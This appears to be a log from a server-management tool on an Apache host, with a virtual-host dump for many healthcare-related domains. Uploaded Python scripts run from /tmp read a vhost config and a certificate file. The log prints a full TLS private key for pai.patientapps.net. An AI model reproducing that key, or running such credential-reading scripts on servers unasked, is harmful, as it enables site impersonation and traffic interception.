         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:23)
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-05 19:17:49: 

PUT: /tmp/pkp542793

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_pai_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-05 19:17:49: 

chmod 755 /tmp/pkp542793; /tmp/pkp542793; rm /tmp/pkp542793

2026-01-05 19:17:49: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_pai_net.conf	1572

<VirtualHost *:80>
    ServerName	pai.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/pai_access.log combined
    ErrorLog	/var/log/apache2/patientapps/pai_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	pai.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/3f85a328a3b4d0829fd0b0b311b3007b.crt
    
    SetEnv SIMPLESAMLPHP_CONFIG_DIR	/var/simplesamlphp/config
    Alias	/simplesaml /var/simplesamlphp/www
    <Directory /var/simplesamlphp/www>
        Require	all granted
    </Directory>
    
    DocumentRoot	/var/www/patientapps_portal/public
    <Directory /var/www/patientapps_portal/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/pai_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/pai_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-01-05 19:17:49: 

PUT: /tmp/pkp213740

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/3f85a328a3b4d0829fd0b0b311b3007b.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-05 19:17:49: 

chmod 755 /tmp/pkp213740; /tmp/pkp213740; rm /tmp/pkp213740

2026-01-05 19:17:49: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/3f85a328a3b4d0829fd0b0b311b3007b.crt	5372
3a:03:7c:cd:f9:ec:a9:e0:e5:7b:dd:07:de:15:09:dc

-----BEGIN CERTIFICATE-----
MIIFCjCCA/KgAwIBAgISBbAv8x+Szk6grbiF0ovGE7hvMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTA1MTgxOTE4WhcNMjYwNDA1MTgxOTE3WjAeMRwwGgYDVQQD
ExNwYWkucGF0aWVudGFwcHMubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAsjwJVh4zCWM/hiiFJcosWbY/68hGtAJZ9JnxE8WG7KfowXJeSYp11P6/
QK0QEmVq2ce9+RNYiRJfl5VGbBN+BQKz7xcK2VRDIWwZDQ1tVb+4o7GmeZBUBJeF
4J5Pv6CQ4MjplTRxsGhkJyBA+K4LICTokP2HLB3HJAcl2qnb4xOrsiPp9tr6zMuO
kAro9jpglnVUX371zvY5H0PhZGmLs44ZI4Tm2UFzYhh0F4Y2F6+8J5v3whRMAEc4
htq5atHoCEBa2LWJkLf7Y/8OVt2CyGdICiB28JATYj0Zyo03hcr7ep90nqjwr9Ej
nwMObug3/7NnhUPtacEhKyhreHQENQIDAQABo4ICKzCCAicwDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBSKIOg0KzkXC1OglXxhT8kKPnl4azAfBgNVHSMEGDAWgBTnq58P
LDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTMuaS5sZW5jci5vcmcvMB4GA1UdEQQXMBWCE3BhaS5wYXRpZW50YXBw
cy5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgwJjAkoCKgIIYeaHR0
cDovL3IxMy5jLmxlbmNyLm9yZy8xMTIuY3JsMIIBCwYKKwYBBAHWeQIEAgSB/ASB
+QD3AHYAFoMtq/CpJQ8P8DqlRf/Iv8gj0IdL9gQpJ/jnHzMT9foAAAGbj5gY0AAA
BAMARzBFAiEAzU8XXTM833I1YpqxgBpovg89XPHzcnqTPqVvXRf7vAQCIH/eBHZE
dVb0ZKYquE1opZvfvDwiTmJdBsAyQn+tdvkqAH0AcX6V88I4im2x44RJPTHhWqli
CHYtQgDgBQzQZ7WmYeIAAAGbj5gZWwAIAAAFAAYX1YIEAwBGMEQCIG3DxXT6Ouq5
ap6Xz0k90UuY7UbdUFPuUBRS4eA9fJC8AiBYbfcqFjJ6tZQ41/OkC6CNAx0FlaCJ
fSeSagxup4e8xDANBgkqhkiG9w0BAQsFAAOCAQEAUyHMvScnBatiJq8poOKPTQVf
l/9EHXYhzdOqwTW0YIhuh3UayM/UvI71H7tdFN8lRDCg0VRtv7gDCd1uJRGC714P
vvNkMXDq63D4B34FllWaT/sY97H1QMdAsPAzKCi2qCELXwV3KdNwnK1eJWXnjAXh
as281X9a/HcaldvKME8spVKVlOLS6zIxuHSBS2FcMaeEOGBiOdGDzUp94ivjAYvg
piJR+X9rMj4rx6Cbge7ZxTOQjkZhTQ6C9u/Pbfyc4heHvDsHx8DPQmcNAE8OqHuE
vgVlADIP3tZeRp6F3jbTuNO3UzquLKtK5ALkA0tV7VE5ZZEJiMcEVH4wH+HLtw==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCyPAlWHjMJYz+G
KIUlyixZtj/ryEa0Aln0mfETxYbsp+jBcl5JinXU/r9ArRASZWrZx735E1iJEl+X
lUZsE34FArPvFwrZVEMhbBkNDW1Vv7ijsaZ5kFQEl4Xgnk+/oJDgyOmVNHGwaGQn
IED4rgsgJOiQ/YcsHcckByXaqdvjE6uyI+n22vrMy46QCuj2OmCWdVRffvXO9jkf
Q+FkaYuzjhkjhObZQXNiGHQXhjYXr7wnm/fCFEwARziG2rlq0egIQFrYtYmQt/tj
/w5W3YLIZ0gKIHbwkBNiPRnKjTeFyvt6n3SeqPCv0SOfAw5u6Df/s2eFQ+1pwSEr
KGt4dAQ1AgMBAAECggEAA/zOAhjd3d6LEH+ruA/KFF28haaKVvnuNJDwQyoMglwz
CYcyAUEM1a2SyfMi9teKccsDR/d9DISWW1XkQ/G61q1uKPr9WYDz4qx3O0wGZBvM
dKI6VyswhyhX0VrgNylhrYku4lp1Fh0zNGpQYvIwJ/YEkkS0Etb0kT7+Q5kuQGoO
Z6yy3XyAyjhEsVzPszWCfCqWJ5JI4B0ZBE2BtCBtF3x5qYNuW/TfvhO8RWV5eKHq
xyKgzTwqJoThtMnnHJWB0w0D+NAhJmtOhbkjEC7Z31TBB6+9pZgYgCK3mZdhz55I
labe8xbo8GPF0k8a0zrbKlQjt9Z6Jn6JdhAdPCBIlwKBgQDxKF1H08E9oK/H3bdz
cduZkmS5f4LtEukzqb9RJ96dDeVDrwOzXExC8pm/W8df+8lY/ZgbNFuZIUtmcMUC
ZZJrEp7JinRX5wLpdJu30QGXnlloRdlkLwDe+lqLIf/IQhkYAjO+RNssPJk2AQeM
TCJTVZk7l9v9I43dHCCtTrRmMwKBgQC9NEQ5xO1eEGY+3EQ7qKZ3Z7+id6Wndo10
KPCAiWTE4h8chN0DQYdBtFc/hE4BhzLAtxuUpIAGGQ6puV20ZC8xCT04CmFTo5ED
Vp+Mt69JTcmeFyCqYxI/+eybAEd/7RbvBIgxE3ot4XQUA8MDt6ZPHOKtojgprCiS
vFTzdhHz9wKBgQCsjZI5K8YwP4KnQvjZzNUxjHMv25Il6gsc4U+4VQvPWrr59Ad0
1gznNklWh+gfwLxwRXwJsyv7ZLxbv0LoFR9wJ7GgScY3g18tBjfJje5Su4YDuz7y
lUNNSNtyhFBNzSXBbQnzEbe1bmK+JnxtIajJ8gyjfGR3O3JtjIvBFfi0ywKBgGC4
+nPJ30qp+YsDEYKqGceK6yWEItQ0P+X1E9Wx5yjbK+ppZY7Hjfyh08Rtv276jZCF
Sv03BxeW8a8ESwnv+UwJHBms/MpEINrjCpdmQ56mvH4r9pAEK403F6S5hNO6AXJZ
D8J+4YPY8H1W2vfoh4WED8GR30I2d1tkGc2IO29LAoGBAKOtKvZ6jlUIaGPUMdo5
5xbMM1b8Q8BgcdoDnIGAnFPoxmw2VsSpvktl0zpoEbqVPctur5YRKQ7Ha98Rwy6b
5YxhOKi111d2Rlc6oMWVQ99DxlMF+V05Z/5Yq4P1UeGQdYDfDu6qDa7p2rcdDrNq
P2UQob3+Wj7CHR0DSk+U9ROP
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
